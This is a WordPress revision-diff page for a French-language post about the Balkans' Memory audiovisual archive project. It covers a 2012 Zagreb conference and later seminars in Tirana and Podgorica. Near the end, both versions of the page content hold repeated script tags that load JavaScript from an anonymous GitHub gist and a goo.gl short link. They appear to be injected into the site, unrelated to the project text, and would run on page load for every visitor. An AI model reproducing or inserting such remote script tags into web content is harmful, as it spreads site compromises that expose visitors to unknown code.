You are viewing an old revision of this post, from May 11, 2012 @ 14:07:01. See below for differences between this version and the current revision.
1er juin 2012 - Musée Mimara, Zagreb
La conférence inaugurale du projet Balkans’ Memory, mené par l’Ina en association avec le Centre Audiovisuel Croate, le Centre des Archives du Film d’Albanie et la COPEAM,s’est tenue avec succès le 1er juin à Zagreb. Accueilli par le Centre Audiovisuel Croate, l’événement a réuni plus de 100 professionnels en provenance de 15 pays différents. «Nous croyons fermement que cette conférence n'est que le début d'une fructueuse coopération à long terme entre les professionnels et les institutions de la région et même plus, et que «Balkans’ Memory»se renforcera de plus en plus dans les années à venir», a affirmé Sanja Ravlic, Chef du Développement de l’HAVC.
La conférence a été ouverte par Mme Tamara Perišić, Vice-ministre de la Culture Croate, suivi par M. Paulo Berizzi, Chef de la section Politique, Économie, Commerce et Information, Délégation de l’Union Européenne en République de Croatie, M. Hado Abaz, Vice-ministre de la Culture albanais, M. Hrvoje Hribar, Directeur du Centre Audiovisuel Croate et M. Mathieu Gallet, Président-directeur général de l’Ina et Président de la COPEAM.
L’importance stratégique de ce projet est
évidente dans le contexte actuel, « alors que le monde de l'audiovisuel bascule dans le tout numérique, la problématique de la sauvegarde et de la numérisation des archives cinématographiques et audiovisuelles se pose plus que jamais. La mise en place de cette politique ambitieuse et la mise aux normes internationales permettra la préservation et l'accessibilité des fonds, la possibilité d'échange et de circulation des œuvres, et la mise en réseau des décideurs et des professionnels du secteur » a expliqué M. Gallet.
Pendant la conférence, un panel d’experts des institutions européennes et d’organisations audiovisuelles et d’archives de la région ont approfondi le thème de la préservation et de la valorisation du patrimoine audiovisuel sous de différents aspects : légal, commercial, financier. Dans ce cadre, la Convention Européenne pour la Protection du Patrimoine Audiovisuel et les politiques régionales pour sa préservation et numérisation ont été présentées, conjointement aux stratégies adoptées par plusieurs organisations audiovisuelles et à des études de cas sur les usages commerciaux, éducatifs et culturels des archives.
Programme de la conférence
La prochaine étape du projet aura lieu à Tirana, en Albanie, du 6 au 8 novembre 2012, avec l’organisation du premier séminaire régional.
Ce séminaire a pour thématique centrale la conservation et la restauration des archives audiovisuelles et cinématographiques. Film, vidéo, supports du son : quels sont leurs caractéristiques et principaux défauts? Comment les conserver? Comment les restaurer?
Ce séminaire s'adressera aux détenteurs d'archives et répondra aux questions suivantes : de quoi mon fonds est-il composé? De quels types de formats? Quels sont les défauts et les caractéristiques liés à ces formats? Quels matériaux sont les plus en danger? Comment les conserver dans l'attente de les numériser?
Cours théoriques, tables rondes et visites animés par des spécialistes du domaine seront délivrés en anglais à un public composé d’une quinzaine de professionnels des archives de la région des Balkans.
La presse en parle
Changes:
May 11, 2012 @ 14:07:01 | Current Revision | ||
---|---|---|---|
Title | |||
Balkans' Memory - la conférence inaugurale | Balkans’ Memory. Sauvegarder et Valoriser la Mémoire Audiovisuelle |
Content | |||
---|---|---|---|
<p> | |||
<img style="width: 78px; height: 52px; float: left;" src="/userfiles/ image/UE.jpg" alt="" /> | |||
<em><span data-scayt_word="Projet" data-scaytid= "1">Projet</span> <span data-scayt_word= "cofinancé" data-scaytid= "2">cofinancé</span> par la Commission <span data-scayt_word= "européenne" data-scaytid= "3">européenne</span></em> | |||
| |||
<strong><em>Un nouveau <span data-scayt_word="projet" data-scaytid= "4">projet</span> pour la <span data-scayt_word= "mémoire" data-scaytid= "5">mémoire</span> <span data-scayt_word= "audiovisuelle" data-scaytid= "6">audiovisuelle</span> des Balkans</em></strong> | |||
<p> | |||
<div style="text-align: justify;">Le <span data-scayt_word="Projet" data-scaytid= "7">Projet</span> Balkans’ Memory, <span data-scayt_word= "cofinancé" data-scaytid= "8">cofinancé</span> par la Commission <span data-scayt_word= "européenne" data-scaytid= "9">européenne</span>, vise a <span data-scayt_word="mettre" data-scaytid= "13">mettre</span> en place <span data-scayt_word="dans" data-scaytid= "14">dans</span> la <span data-scayt_word="région" data-scaytid= "16">région</span> des Balkans la <span data-scayt_word= "première" data-scaytid= "18">première</span> <span data-scayt_word="étape" data-scaytid= "19">étape</span> <span data-scayt_word= "d’une" data-scaytid= "20">d’une</span> <span data-scayt_word= "ambitieuse" data-scaytid= "21">ambitieuse</span> <span data-scayt_word="politique" data-scaytid= "22">politique</span> de <span data-scayt_word= "sauvegarde" data-scaytid= "23">sauvegarde</span> et de <span data-scayt_word= "valorisation" data-scaytid= "24">valorisation</span> du <span data-scayt_word= "patrimoine" data-scaytid= "25">patrimoine</span> <span data-scayt_word= "audiovisuel" data-scaytid= "26">audiovisuel</span> et <span data-scayt_word= "d’encourager" data-scaytid= "27">d’encourager</span> les <span data-scayt_word= "échanges" data-scaytid= "28">échanges</span> de savoir-faire et le <span data-scayt_word= "renforcement" data-scaytid= "29">renforcement</span> des <span data-scayt_word= "compétences" data-scaytid= "30">compétences</span> des <span data-scayt_word= "professionnels" data-scaytid= "31">professionnels</span> <span data-scayt_word= "travaillant" data-scaytid= "32">travaillant</span> <span data-scayt_word="dans" data-scaytid= "15">dans</span> les <span data-scayt_word="centres" data-scaytid= "33">centres</span> <span data-scayt_word= "d’archives" data-scaytid= "34">d’archives</span> et les <span data-scayt_word= "télévisions" data-scaytid= "35">télévisions</span> de la <span data-scayt_word="région" data-scaytid= "17">région< /span>.</div> | |||
<div style="text-align: justify;"></div> | |||
<div style="text-align: justify;"><span data-scayt_word="Mené" data-scaytid= "43">Mené</span> par <span data-scayt_word= "l’Ina" data-scaytid= "44">l’Ina</span> via son <span data-scayt_word="centre" data-scaytid= "45">centre</span> <span data-scayt_word= "d’expertise" data-scaytid= "46">d’expertise</span> des <span data-scayt_word="médias" data-scaytid= "47">médias</span> et des <span data-scayt_word="contenus" data-scaytid= "48">contenus</span> <span data-scayt_word= "numériques" data-scaytid= "49">numériques</span> Ina EXPERT, en <span data-scayt_word= "partenariat" data-scaytid= "50">partenariat</span> <span data-scayt_word="avec" data-scaytid= "51">avec</span> le Centre <span data-scayt_word= "audiovisuel" data-scaytid= "36">audiovisuel</span> <span data-scayt_word="croate" data-scaytid= "54">croate</span>, le Centre des archives du film <span data-scayt_word= "d’Albanie" data-scaytid= "55">d’Albanie</span> et la <span data-scayt_word="COPEAM" data-scaytid= "56">COPEAM</span>, <span data-scayt_word="il" data-scaytid= "57">il</span> se compose <span data-scayt_word= "d’actions" data-scaytid= "58">d’actions</span> <span data-scayt_word= "préparatoires" data-scaytid= "59">préparatoires</span> et vise <span data-scayt_word="à " data-scaytid= "60">à</span> <span data-scayt_word= "sensibiliser" data-scaytid= "62">sensibiliser</span> les <span data-scayt_word= "décideurs" data-scaytid= "63">décideurs</span> de la <span data-scayt_word="région" data-scaytid= "38">région</span> des Balkans <span data-scayt_word="à " data-scaytid= "61">à</span> la <span data-scayt_word= "nécessité" data-scaytid= "65">nécessité</span> <span data-scayt_word= "d’investir" data-scaytid= "66">d’investir</span> <span data-scayt_word="dans" data-scaytid= "39">dans</span> la <span data-scayt_word= "sauvegarde" data-scaytid= "40">sauvegarde</span>, la <span data-scayt_word= "numérisation" data-scaytid= "69">numérisation</span>, la <span data-scayt_word= "valorisation" data-scaytid= "41">valorisation</span> et la <span data-scayt_word="gestion" data-scaytid= "71">gestion</span> de <span data-scayt_word="leur" data-scaytid= "72">leur</span> <span data-scayt_word= "patrimoine" data-scaytid= "42">patrimoine</span> <span data-scayt_word= "cinématographique" data-scaytid= "74">cinématographique</span> et <span data-scayt_word= "audiovisuel" data-scaytid= "37">audiovisuel</span>. | |||
<p> | |||
Il <span data-scayt_word= "s’adressera" data-scaytid= "151">s’adressera</span> <span data-scayt_word="à " data-scaytid= "107">à</span> <span data-scayt_word="trois" data-scaytid= "154">trois</span> types de public – les <span data-scayt_word= "décideurs" data-scaytid= "109">décideurs</span>, les <span data-scayt_word= "responsables" data-scaytid= "156">responsables</span> de <span data-scayt_word="centre" data-scaytid= "110">centre</span> <span data-scayt_word= "d’archives" data-scaytid= "111">d’archives</span> et les <span data-scayt_word= "professionnels" data-scaytid= "112">professionnels</span> – <span data-scayt_word="à " data-scaytid= "108">à</span> <span data-scayt_word="une" data-scaytid= "160">une</span> <span data-scayt_word= "échelle" data-scaytid= "161">échelle</span> locale et <span data-scayt_word= "régionale" data-scaytid= "162">régionale</span> et <span data-scayt_word="entend" data-scaytid= "163">entend</span> <span data-scayt_word="créer" data-scaytid= "164">créer</span> les conditions <span data-scayt_word= "nécessaires" data-scaytid= "165">nécessaires</span> pour encourager la <span data-scayt_word= "sauvegarde" data-scaytid= "113">sauvegarde</span>, la <span data-scayt_word= "numérisation" data-scaytid= "114">numérisation</span> et la <span data-scayt_word= "valorisation" data-scaytid= "115">valorisation</span> du <span data-scayt_word= "patrimoine" data-scaytid= "116">patrimoine</span> <span data-scayt_word= "audiovisuel" data-scaytid= "117">audiovisuel</span> <span data-scayt_word="dans" data-scaytid= "118">dans</span> les Balkans :• En <span data-scayt_word= "sensibilisant" data-scaytid= "174">sensibilisant</span> les <span data-scayt_word= "décideurs" data-scaytid= "172">décideurs</span> et les <span data-scayt_word="bailleurs" data-scaytid= "176">bailleurs</span> de fonds <span data-scayt_word="à " data-scaytid= "173">à</span> la <span data-scayt_word="valeur" data-scaytid= "178">valeur</span> <span data-scayt_word= "historique" data-scaytid= "179">historique</span>, <span data-scayt_word= "culturelle" data-scaytid= "180">culturelle</span>, <span data-scayt_word= "éducative" data-scaytid= "181">éducative</span> et <span data-scayt_word= "économique" data-scaytid= "182">économique</span> des archives, | |||
• En <span data-scayt_word="dotant" data-scaytid= "188">dotant</span> les <span data-scayt_word= "responsables" data-scaytid= "183">responsables</span> de <span data-scayt_word="ces" data-scaytid= "190">ces</span> fonds des <span data-scayt_word= "connaissances" data-scaytid= "191">connaissances</span> <span data-scayt_word= "nécessaires" data-scaytid= "184">nécessaires</span> <span data-scayt_word="à " data-scaytid= "185">à</span> la <span data-scayt_word="mise" data-scaytid= "194">mise</span> en place <span data-scayt_word= "d’un" data-scaytid= "195">d’un</span> plan de <span data-scayt_word= "sauvegarde" data-scaytid= "186">sauvegarde</span> et de <span data-scayt_word= "numérisation" data-scaytid= "187">numérisation</span> des fonds, | |||
• En <span data-scayt_word= "renforçant" data-scaytid= "205">renforçant</span> les <span data-scayt_word= "capacités" data-scaytid= "206">capacités</span> des <span data-scayt_word= "professionnels" data-scaytid= "198">professionnels</span> <span data-scayt_word= "travaillant" data-scaytid= "199">travaillant</span> <span data-scayt_word="dans" data-scaytid= "200">dans</span> le <span data-scayt_word="domaine" data-scaytid= "210">domaine</span> des archives <span data-scayt_word= "audiovisuelles" data-scaytid= "211">audiovisuelles</span>. | |||
<a href="http:// www.copeam.org/UserFiles/ File/Projects/ 179_balkans_ memory_leaflet_ press4.pdf"><strong> | |||
Brochure Balkans' Memory< /strong></a></div> | |||
<div style="text-align: justify;"></div> | |||
<table style="width: 200px;" border="0" cellspacing="1" cellpadding="1" align="left"> | |||
<tbody> | |||
<tr> | |||
<td><a href="http:// www.facebook.com/ BalkansMemory"> | |||
<img style="float: left;" src="http://www.copeam.org/ userfiles/image/find-us-on- facebook.jpg" alt="" width="122" height="29" /></a></td> | |||
<td></td> | |||
</tr> | |||
</tbody> | |||
</table> | |||
| |||
| |||
<span style="color: #a52a2a;"><span style="font-size: 14px;"><strong>A LA <span data-scayt_word="UNE" data-scaytid= "212">UNE</span></strong> </span></span> | |||
La <span data-scayt_word= "conférence" data-scaytid= "106">confé rence</span> a été ouverte par <strong>Mme Tamara </strong><strong> Periši< /strong><strong> ć</strong>, Vice-ministre de la Culture <span data-scayt_word="Croate" data-scaytid= "107">Croate</span>, suivi par <strong>M. Paulo Berizzi</strong>, Chef de la section Politique, Économie, Commerce et Information, Délégation de l’Union Européenne en République de Croatie, <strong>M. Hado Abaz</strong>, Vice-ministre de la Culture albanais, <strong>M. Hrvoje Hribar</strong>, Directeur du Centre Audiovisuel Croate et <strong>M. Mathieu Gallet</strong>, Président-directeur général de l’Ina et Président de la COPEAM.</p> | <strong>Balkans’ Memory : <span data-scayt_word= "séminaire" data-scaytid= "213">séminaire</span> <span data-scayt_word="sur" data-scaytid= "214">sur</span> le cadre <span data-scayt_word="légal" data-scaytid= "215">légal</span> et la <span data-scayt_word= "valorisation" data-scaytid= "204">valorisation</span> <span data-scayt_word= "cinématographiques" data-scaytid= "217">cinématographiques</span> et <span data-scayt_word= "audiovisuels" data-scaytid= "218">audiovisuels< /span></strong> | ||
<p> | |||
L’importance stratégique de ce projet est<br /> | |||
évidente dans le contexte actuel, « alors que le monde de l'audiovisuel bascule dans le tout numérique, la problématique de la sauvegarde et de la numérisation des archives cinématographiques et audiovisuelles se pose plus que jamais. La mise en place de cette politique ambitieuse et la mise aux normes internationales permettra la préservation et l'accessibilité des fonds, la possibilité d'échange et de circulation des œuvres, et la mise en réseau des décideurs et des professionnels du secteur » a expliqué M. Gallet.<br /> | |||
Pendant la conférence, un panel d’experts des institutions européennes et d’organisations audiovisuelles et d’archives de la région ont approfondi le thème de la préservation et de la valorisation du patrimoine audiovisuel sous de différents aspects : légal, commercial, financier. Dans ce cadre, la Convention Européenne pour la Protection du Patrimoine Audiovisuel et les politiques régionales pour sa préservation et numérisation ont été présentées, conjointement aux stratégies adoptées par plusieurs organisations audiovisuelles et à des études de cas sur les usages commerciaux, éducatifs et culturels des archives.<br /> | |||
<br /> | |||
<a href="http:// www.copeam.org/UserFiles/ File/Projects/ 178_Programme%20conf%C3%A9rence%20BalkansMem%20VF.pdf"><span style="color: rgb(0, 0, 205);"><u><strong>Programme de la conférence< /strong></u>< /span></a></p> | |||
<p> | |||
La prochaine étape du projet aura lieu à Tirana, en Albanie, du 6 au 8 novembre 2012, avec l’organisation du premier séminaire régional.</p> | |||
<p> | |||
Ce séminaire a pour thématique centrale la conservation et la restauration des archives audiovisuelles et cinématographiques. Film, vidéo, supports du son : quels sont leurs caractéristiques et principaux défauts? Comment les conserver? Comment les restaurer?<br /> | |||
<br /> | |||
Ce séminaire s'adressera aux détenteurs d'archives et répondra aux questions suivantes : de quoi mon fonds est-il composé? De quels types de formats? Quels sont les défauts et les caractéristiques liés à ces formats? Quels matériaux sont les plus en danger? Comment les conserver dans l'attente de les numériser?<br /> | |||
<br /> | |||
Cours théoriques, tables rondes et visites animés par des spécialistes du domaine seront délivrés en anglais à un public composé d’une quinzaine de professionnels des archives de la région des Balkans.</p> | |||
< | |||
<p> | |||
<span style="FONT-SIZE: 14px"><span style="COLOR: rgb(165,42,42) "><strong><img alt="" src="http://www.copeam.org/ userfiles/image/ press-room1.jpg" style="WIDTH: 108px; FLOAT: left; HEIGHT: 64px" /></strong></ span></span><span style="FONT-SIZE: 14px"><span style="COLOR: rgb(165,42,42) "><strong>L</ strong></span> </span><span style="FONT-SIZE: 14px"><span style="COLOR: rgb(165,42,42)"><strong>a </strong></span> </span><strong><span style="FONT-SIZE: 14px"><span style="COLOR: rgb(165,42,42) "><span><span> presse</span></span> en <span><span>parle< /span></span> </span></span> </strong></p> | |||
<p> | |||
<br /> | |||
<br /> | |||
</p> | |||
<hr /> | |||
<p> | |||
<a href="http:// www.copeam.org/UserFiles/ File/Press/84_ revue%20pressBalkansMemory3.pdf" ><u><strong><span style="color: #0000cd;">Revue de presse</span> </strong></u></a></p> | |||
<em><span data-scayt_word="Podgorica" data-scaytid= "249">Podgorica< /span></em>,<em> du 28 au 30 <span data-scayt_word="octobre" data-scaytid= "250">octobre</span> 2013</em> | |||
<span data-scayt_word="Dans" data-scaytid= "252">Dans</span> le cadre du <span data-scayt_word="projet" data-scaytid= "219">projet</span> Balkans’ Memory, <span data-scayt_word= "l’Ina" data-scaytid= "220">l’Ina</span>, en <span data-scayt_word= "partenariat" data-scaytid= "221">partenariat</span> <span data-scayt_word="avec" data-scaytid= "222">avec</span> la <span data-scayt_word= "Cinémathèque" data-scaytid= "257">Cinémathèque</span> du <span data-scayt_word= "Monténégro" data-scaytid= "258">Monténégro</span> et la <span data-scayt_word="RTCG" data-scaytid= "259">RTCG</span>, <span data-scayt_word="organise" data-scaytid= "260">organise</span> du 28 au 30 <span data-scayt_word="octobre" data-scaytid= "251">octobre</span> 2013 un <span data-scayt_word= "séminaire" data-scaytid= "223">séminaire</span> <span data-scayt_word="sur" data-scaytid= "224">sur</span> le cadre <span data-scayt_word="légal" data-scaytid= "225">légal</span> et la <span data-scayt_word= "valorisation" data-scaytid= "226">valorisation</span> des <span data-scayt_word="contenus" data-scaytid= "227">contenus</span> <span data-scayt_word= "audiovisuels" data-scaytid= "228">audiovisuels</span>. | |||
<span data-scayt_word="Ce" data-scaytid= "278">Ce</span> <span data-scayt_word= "séminaire" data-scaytid= "239">séminaire</span> se <span data-scayt_word= "déroulera" data-scaytid= "280">déroulera</span> <span data-scayt_word="à " data-scaytid= "240">à</span> <span data-scayt_word="Podgorica" data-scaytid= "271">Podgorica</span> et fait suite aux <span data-scayt_word="deux" data-scaytid= "285">deux</span> <span data-scayt_word= "rencontres" data-scaytid= "286">rencontres</span> <span data-scayt_word="sur" data-scaytid= "243">sur</span> la <span data-scayt_word= "préservation" data-scaytid= "289">préservation</span> et la <span data-scayt_word= "restauration" data-scaytid= "290">restauration</span> des archives <span data-scayt_word="à " data-scaytid= "241">à</span> Tirana, en <span data-scayt_word="novembre" data-scaytid= "291">novembre</span> 2012, et <span data-scayt_word="sur" data-scaytid= "244">sur</span> la <span data-scayt_word= "numérisation" data-scaytid= "245">numérisation</span> et la <span data-scayt_word="gestion" data-scaytid= "246">gestion</span> des <span data-scayt_word="médias" data-scaytid= "247">médias</span> <span data-scayt_word= "numériques" data-scaytid= "248">numériques</span> <span data-scayt_word="à " data-scaytid= "242">à</span> Belgrade, en <span data-scayt_word="avril" data-scaytid= "296">avril</span> 2013. | |||
<span data-scayt_word="Cette" data-scaytid= "302">Cette</span> <span data-scayt_word="fois" data-scaytid= "303">fois</span>, les participants <span data-scayt_word= "aborderont" data-scaytid= "304">aborderont</span> la question du cadre <span data-scayt_word="légal" data-scaytid= "297">légal</span> <span data-scayt_word= "concernant" data-scaytid= "306">concernant</span> <span data-scayt_word= "l’exploitation" data-scaytid= "307">l’exploitation</span> des <span data-scayt_word= "Å“uvres" data-scaytid= "308">œuvres</span> <span data-scayt_word= "cinématographiques" data-scaytid= "298">cinématographiques</span> et <span data-scayt_word= "audiovisuelles" data-scaytid= "299">audiovisuelles</span>, <span data-scayt_word="incluant" data-scaytid= "311">incluant</span> les <span data-scayt_word= "modalités" data-scaytid= "312">modalités</span> de <span data-scayt_word= "libération" data-scaytid= "313">libération</span> des <span data-scayt_word="droits" data-scaytid= "314">droits</span>. Les <span data-scayt_word="pratiques" data-scaytid= "315">pratiques</span> <span data-scayt_word= "documentaires" data-scaytid= "316">documentaires</span> et la description des fonds <span data-scayt_word="seront" data-scaytid= "317">seront</span> <span data-scayt_word= "également" data-scaytid= "318">également</span> <span data-scayt_word= "traitées" data-scaytid= "319">traitées</span>, tout <span data-scayt_word="comme" data-scaytid= "320">comme</span> la <span data-scayt_word= "valorisation" data-scaytid= "300">valorisation</span> des images et des sons <span data-scayt_word="à " data-scaytid= "301">à</span> <span data-scayt_word="travers" data-scaytid= "323">travers</span> <span data-scayt_word= "l’analyse" data-scaytid= "324">l’analyse</span> de <span data-scayt_word="cas" data-scaytid= "325">cas</span> <span data-scayt_word= "d’étude" data-scaytid= "326">d’étude</span> <span data-scayt_word= "pertinents" data-scaytid= "327">pertinents</span>. | |||
Les <span data-scayt_word="cours" data-scaytid= "330">cours</span> <span data-scayt_word= "théoriques" data-scaytid= "331">théoriques</span>, <span data-scayt_word= "délivrés" data-scaytid= "332">délivrés</span> en <span data-scayt_word="anglais" data-scaytid= "333">anglais</span>, <span data-scayt_word="seront" data-scaytid= "328">seront</span> <span data-scayt_word="enrichis" data-scaytid= "335">enrichis</span> par des tables <span data-scayt_word="rondes" data-scaytid= "336">rondes</span> et des <span data-scayt_word="visites" data-scaytid= "337">visites</span> <span data-scayt_word= "ciblées" data-scaytid= "338">ciblées</span> et <span data-scayt_word= "animées" data-scaytid= "339">animées</span> par des <span data-scayt_word= "spécialistes" data-scaytid= "340">spécialistes</span>. | |||
<strong><span data-scayt_word="Lundi" data-scaytid= "341">Lundi</span> 28 <span data-scayt_word="octobre" data-scaytid= "329">octobre< /span></strong> | |||
• Cadre <span data-scayt_word="légal" data-scaytid= "343">légal</span> de <span data-scayt_word= "l’exploitation" data-scaytid= "344">l’exploitation</span> des <span data-scayt_word="contenus" data-scaytid= "345">contenus</span> <span data-scayt_word= "audiovisuels" data-scaytid= "346">audiovisuels</span> – <span data-scayt_word="droits" data-scaytid= "347">droits</span> <span data-scayt_word= "d’auteur" data-scaytid= "355">d’auteur</span> et copyright | |||
• <span data-scayt_word= "Libération" data-scaytid= "356">Libération</span> des <span data-scayt_word="droits" data-scaytid= "348">droits</span> | |||
• Panorama de la situation <span data-scayt_word= "législative" data-scaytid= "361">législative</span> en la <span data-scayt_word= "matière" data-scaytid= "362">matière</span> <span data-scayt_word="dans" data-scaytid= "357">dans</span> les pays <span data-scayt_word="ciblés" data-scaytid= "364">ciblés</span> | |||
<strong>Mardi 29 <span data-scayt_word="octobre" data-scaytid= "358">octobre< /span></strong> | |||
• Les <span data-scayt_word="pratiques" data-scaytid= "359">pratiques</span> <span data-scayt_word= "documentaires" data-scaytid= "360">documentaires</span> <span data-scayt_word= "associées" data-scaytid= "368">associées</span> aux <span data-scayt_word= "différents" data-scaytid= "369">différents</span> usages | |||
• Les <span data-scayt_word="niveaux" data-scaytid= "392">niveaux</span> de description | |||
• <span data-scayt_word="Cas" data-scaytid= "393">Cas</span> <span data-scayt_word= "d’étude" data-scaytid= "370">d’étude</span> <span data-scayt_word= "d’un" data-scaytid= "371">d’un</span> <span data-scayt_word="outil" data-scaytid= "396">outil</span> <span data-scayt_word= "documentaire" data-scaytid= "397">documentaire</span> | |||
• <span data-scayt_word="Visites" data-scaytid= "398">Visites</span> des collections de la <span data-scayt_word= "Cinémathèque" data-scaytid= "372">Cinémathèque</span> du <span data-scayt_word= "Monténégro" data-scaytid= "373">Monténégro</span> et de la <span data-scayt_word="RTCG" data-scaytid= "374">RTCG</span> (<span data-scayt_word="à " data-scaytid= "375">à</span> <span data-scayt_word="confirmer" data-scaytid= "403">confirmer</span>) | |||
<strong><span data-scayt_word="Mercredi" data-scaytid= "404">Mercredi</span> 30 <span data-scayt_word="octobre" data-scaytid= "376">octobre< /span></strong> | |||
• Panorama des <span data-scayt_word= "différents" data-scaytid= "384">différents</span> types de <span data-scayt_word="projets" data-scaytid= "416">projets</span> de <span data-scayt_word= "valorisation" data-scaytid= "385">valorisation</span> | |||
• <span data-scayt_word="Cas" data-scaytid= "408">Cas</span> <span data-scayt_word= "d’étude" data-scaytid= "386">d’étude</span> <span data-scayt_word="sur" data-scaytid= "387">sur</span> <span data-scayt_word="une" data-scaytid= "389">une</span> collection <span data-scayt_word= "cinématographique" data-scaytid= "391">cinématographique</span> et <span data-scayt_word="sur" data-scaytid= "388">sur</span> <span data-scayt_word="une" data-scaytid= "390">une</span> collection <span data-scayt_word= "Télé" data-scaytid= "425">Télé</span> | |||
• <span data-scayt_word="Cas" data-scaytid= "426">Cas</span> <span data-scayt_word= "d’étude" data-scaytid= "427">d’étude</span> : la <span data-scayt_word="politique" data-scaytid= "428">politique</span> de <span data-scayt_word= "valorisation" data-scaytid= "429">valorisation</span> de <span data-scayt_word= "l’Ina" data-scaytid= "430">l’Ina</span> | |||
<span data-scayt_word="Ce" data-scaytid= "431">Ce</span> <span data-scayt_word= "séminaire" data-scaytid= "432">séminaire</span> <span data-scayt_word= "s’adressera" data-scaytid= "433">s’adressera</span> <span data-scayt_word="à " data-scaytid= "434">à</span> un public <span data-scayt_word= "composé" data-scaytid= "463">composé</span> <span data-scayt_word= "d’une" data-scaytid= "435">d’une</span> <span data-scayt_word="quinzaine" data-scaytid= "465">quinzaine</span> de <span data-scayt_word= "professionnels" data-scaytid= "436">professionnels</span> des archives de la <span data-scayt_word="région" data-scaytid= "437">région</span> des <span data-scayt_word="Balkans1" data-scaytid= "468">Balkans1</span>. | |||
<a href="http:// www.ina-expert.com/content/ download/3266/ 67721/version/ 1/file/Draft+ Programme+Podgorica+ seminar+30072013_ V2.pdf"><span style="color: #000080;"><span style="text-decoration: underline;">< strong><span data-scayt_word="Programme" data-scaytid= "469">Programme</span> du <span data-scayt_word= "sémianire" data-scaytid= "470">sémianire</span> </strong></span></span></a> | |||
<span style="color: #000080;"><strong><a href="http:// www.ina-expert.com/actus/ podgorica-du- 28-au-30-octobre- seminaire-sur- le-cadre-legal- et-la-valorisation- des-contenus- audiovisuels.html">Plus <span data-scayt_word= "d’infos" data-scaytid= "471">d’infos</span> <span data-scayt_word="sur" data-scaytid= "450">sur</span> le séminaire</a> </strong></span> | |||
<a href="http:// www.ina-sup.com/ international/ balkans-memory-un-nouveau- projet-pour-la- memoire-audiovisuelle- des-balkans"><span style="color: #000080;"><span style="text-decoration: underline;"><strong>Plus d’infos sur le projet</strong> </span></span></a> | |||
<span style="font-size: 9px;">1-Albanie, ARY de Macédoine, Bosnie-Herzégovine, Croatie, Kosovo*, Monténégro, Serbie.</span> | |||
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <span style="font-size: 9px;">*Dans le respect de la résolution 1244 du Conseil de Sécurité de l’ONU</span> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> |
Note: Spaces may be added to comparison text to allow better line wrapping.